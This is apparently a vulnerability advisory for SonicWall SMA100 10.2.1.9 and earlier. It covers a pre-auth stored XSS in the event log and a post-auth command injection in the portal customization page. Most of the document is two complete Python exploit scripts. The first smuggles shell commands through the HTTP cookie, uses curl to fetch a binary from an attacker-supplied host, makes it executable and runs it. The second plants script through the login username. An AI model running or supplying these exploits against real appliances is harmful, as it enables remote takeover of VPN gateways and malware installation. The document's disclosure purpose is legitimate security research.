Summary
There are pre-auth stored XSS and post-auth remote command injection vulnerabilities in SonicWall SMA100. These vulnerabilities allow unauthenticated attackers to execute arbitrary command when an authenticated user is exposed to the stored XSS.
The vulnerabilities were silently patched without any CVE assignment. The whole feature named Classic mode, where stored XSS vulnerability exists, was removed, and a new user input filtering code was added against command injection vulnerability.
Credit
SeongJoon Cho from SSD Labs Korea
Vendor Response
The vendor has released SonicWall SMA100 10.2.1.10 which completely removes the Classic mode which removes the mentioned vulnerabilities
Affected Versions
SonicWall SMA100 version 10.2.1.9 and prior
Technical Analysis
Stored XSS
There is a stored pre-auth XSS vulnerability in cgi-bin/eventlog. It is triggered when cgi-bin/eventlog parses logs from the file.
The Log / View page shows Time, Priority, Category, Source, Destination, User, Message by running cgi-bin/eventlog:

And they are saved in /var/log/eventlog. For example:
sh-4.2# cat /var/log/eventlog Dec 25 04:44:54 sslvpn SSLVPN: id=sslvpn sn=Unknown time="2022-12-25 04:44:54" vp_time="2022-12-25 12:44:54 UTC" fw=192.168.1.1 pri=5 m=0 c=700 src=192.168.1.10 dst=192.168.1.1 user="admin@LocalDomain" usr="admin@LocalDomain" msg="Log cleared" agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" Dec 25 04:44:58 sslvpn SSLVPN: id=sslvpn sn=Unknown time="2022-12-25 04:44:58" vp_time="2022-12-25 12:44:58 UTC" fw=192.168.1.1 pri=5 m=2 c=2 src=192.168.1.10 dst=192.168.1.1 user="admin@LocalDomain" usr="admin@LocalDomain" msg="User logged out" active=112 duration=115 agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" Dec 25 04:45:01 sslvpn SSLVPN: id=sslvpn sn=Unknown time="2022-12-25 04:45:01" vp_time="2022-12-25 12:45:01 UTC" fw=192.168.1.1 pri=5 m=1 c=1 src=192.168.1.10 dst=192.168.1.1 user="admin@LocalDomain" usr="admin@LocalDomain" msg="User login successful" portal="VirtualOffice" domain="LocalDomain" agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
The delimiter is a \x20, and there is no filtering for any characters. I was able to do something interesting by entering \x20 into username for logging in. User input is saved into /var/log/eventlog, and cgi-bin/eventlog parses and shows it to authenticated user on Log / View.
Analysing cgi-bin/eventlog, I found ACCEPT_BY_TABLES.

It allows the malicious payload to be printed on Log / View.
Command Injection
There is a command injection vulnerability in cgi-bin/sitecustomization. We can enter payload into portalname.

Demo

Exploit
import requests
import argparse
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
host = "{HOST}"
class SonicWall:
def __init__(self, args):
self.headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
}
self.s = requests.Session()
self.s.verify = False
self.username = args.username
self.password = args.password
self.rhost = args.rhost
self.root_url = args.host
if not args.host.startswith("http"):
self.root_url = f"https://{args.host}/"
if not self.root_url.endswith("/"):
self.root_url += "/"
def http_get(self, path, params=None, headers={}):
url = self.root_url + path
headers.update(self.headers)
r = requests.Request(method="GET", url=url, params=params, headers=headers)
prep = r.prepare()
prep.url = url
res = self.s.send(prep)
return res
def http_post(self, path, data, headers={}):
url = self.root_url + path
headers.update(self.headers)
r = requests.Request(method="POST", url=url, data=data, headers=headers)
prep = r.prepare()
prep.url = url
res = self.s.send(prep)
return res
def login(self):
data = {
"username": self.username,
"password": self.password,
"domain": "LocalDomain",
"loginButton": "Login",
"state": "login",
"login": "true",
"verifyCert": "0",
"portalname": "VirtualOffice",
"loginToken": "",
"ajax": "true",
}
res = self.http_post("/cgi-bin/userLogin", data=data)
if '"status":"success"' not in res.text:
return False
if "Set-Cookie" not in res.headers:
return False
self.headers["Cookie"] = res.headers["Set-Cookie"]
return True
def get_csrf_token(self):
res = self.http_get("/cgi-bin/users")
if 'var tokenValue = "' not in res.text:
return None
token = res.text.split('var tokenValue = "')[1].split('"')[0]
return token
def command(self, cmd, csrf_token):
portalname = "$($HTTP_COOKIE)"
portalUrl = "/"
vhostName = "vhostName"
data = {
"portalname": portalname,
"portaltitle": "Virtual Office",
"bannertitle": "Virtual Office",
"bannermessage": "",
"portalUrl": portalUrl,
"httpOnlyCookieFlag": "on",
"cachecontrol": "on",
"uniqueness": "on",
"duplicateLoginAction": "1",
"livetilesmalllogo": "",
"livetilemediumlogo": "",
"livetilewidelogo": "",
"livetilelargelogo": "",
"livetilebackground": "#0085C3",
"livetilename": "",
"home2page": "on",
"allowNetExtender": "on",
"virtualpassagepage": "on",
"cifsdirectpage": "on",
"cifspage": "on",
"cifsdefaultfilesharepath": "",
"home3page": "on",
"showAllBookmarksTab": "on",
"showDefaultTabs": "on",
"showCopyright": "on",
"showSidebar": "on",
"showUserPortalHelpButton": "on",
"userPortalHelpURL": "",
"showUserPortalOptionsButton": "on",
"showUserPortalDownloadsButton": "on",
"homemessage": "<h1>Welcome to the SonicWall Virtual Office</h1><p>SonicWall Virtual Office provides easy and secure remote access to the corporate network from anywhere on the Internet.</p><p>Click a pre-defined bookmark or create your own to securely access a corporate network resource.</p><p>Launch NetExtender to create a secure network connection to the corporate network for full network access.</p>",
"hptabletitle": "Virtual Office Bookmarks",
"vhostName": vhostName,
"vhostAlias": "",
"vhostHTTPSPort": "",
"vhostInterface": "ALL",
"vhostCert": "default",
"vhostEnableKeepAlive": "on",
"cdssodn": "",
"enableSSLProxyVerify": "0",
"sslProxyProtocol": "0",
"loginSchedule": (
"000000000000000000000000000000000000000"
"000000000000000000000000000000000000000"
"000000000000000000000000000000000000000"
"000000000000000000000000000000000000000"
"000000000000"
),
"formsection": "main",
"doAdd": "1",
"cgiaction": "1",
"themename": "stylesonicwall",
"onlinehelp": "",
"tmp_currentVhostName": "",
"tmp_currentVhostAlias": "",
"tmp_currentVhostHTTPSPort": "0",
"tmp_currentVhostInterface": "ALL",
"tmp_currentVhostIp": "",
"tmp_currentVhostIPv6": "",
"tmp_currentVhostEnableCertCheck": "0",
"tmp_currentVhostEnableHTTP": "0",
"tmp_currentVhostEnableKeepAlive": "1",
"tmp_currentVhostCert": "",
"tmp_currEnforceSSLProxyProtocol": "0",
"tmp_currSSLProxyProtocol": "0",
"tmp_currEnableSSLProxyVerify": "0",
"tmp_currEnableSSLForwardSecrecy": "0",
"tmp_currentVhostOffloadRewrite": "",
"tmp_currentHSTSFlag": "0",
"restartWS": "1",
"reuseFavicon": "",
"oldReuseFavicon": "",
"swcctn": csrf_token,
}
backup_cookie = self.headers["Cookie"]
self.headers["Cookie"] = f"{cmd} ; exit ; " + backup_cookie
res = self.http_post("/cgi-bin/sitecustomization", data=data)
if (
"Virtual Host Name not set - A Portal with the same virtual host name already exists."
in res.text
):
print("[-] failed: duplicated name")
return False
self.headers["Cookie"] = backup_cookie
data = {"delete": portalname, "swcctn": csrf_token}
res = self.http_post("/cgi-bin/portallist", data=data)
if portalname in res.text:
print("[-] failed: deleting name")
return False
return True
def run(self):
print("[+] login")
is_login = self.login()
print(f" result: {is_login}")
if not is_login:
return
print("[+] csrf token")
csrf_token = self.get_csrf_token()
print(f" {csrf_token}")
print("[+] saving payload into target")
self.command(f"curl -o /tmp/c {self.rhost}", csrf_token)
if self.command(f"curl -o /tmp/c {self.rhost}", csrf_token) and self.command(
"chmod 777 /tmp/c", csrf_token
):
print(" success")
print("[+] execute")
if self.command("/tmp/c", csrf_token):
print(" success")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="SonicWall SMA Exploit")
parser.add_argument("host", type=str, help="victim host")
parser.add_argument("rhost", type=str, help="reverse host (http/https uri)")
parser.add_argument("username", type=str, help="username")
parser.add_argument("password", type=str, help="password")
args = parser.parse_args()
e = SonicWall(args)
e.run()
import requests
import json
import argparse
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
class SonicWall:
def __init__(self, args):
self.s = requests.Session()
self.s.verify = False
self.rhost = args.rhost
self.root_url = args.host
if not args.host.startswith("http"):
self.root_url = f"https://{args.host}/"
if not self.root_url.endswith("/"):
self.root_url += "/"
def http_post(self, path, data, headers={}):
url = self.root_url + path
r = requests.Request(method="POST", url=url, data=data, headers=headers)
prep = r.prepare()
prep.url = url
res = self.s.send(prep)
return res
def run(self):
payload = f"<img/src=STOREDXSS>"
assert len(payload) < 64
print("[+] send payload")
data = {
"username": f"c=1003 ACCEPT_BY_IPTABLES SRC={payload} ",
"password": "password",
"domain": "LocalDomain",
"loginButton": "Login",
"state": "login",
"login": "true",
"verifyCert": "0",
"portalname": "VirtualOffice",
"loginToken": "",
"ajax": "true",
}
path = f"cgi-bin/userLogin"
res = self.http_post(path, data=data)
print(res.text)
print(" complete")
if __name__ == "__main__":
with open("config.json", "r") as f:
config = f.read()
config = json.loads(config)
parser = argparse.ArgumentParser(description="SonicWall SMA Exploit")
parser.add_argument(
"--host", type=str, help="victim host", default=config["target"]
)
parser.add_argument(
"--rhost",
type=str,
help="reverse host (http/https uri)",
default=config["xss_url"],
)
args = parser.parse_args()
e = SonicWall(args)
e.run()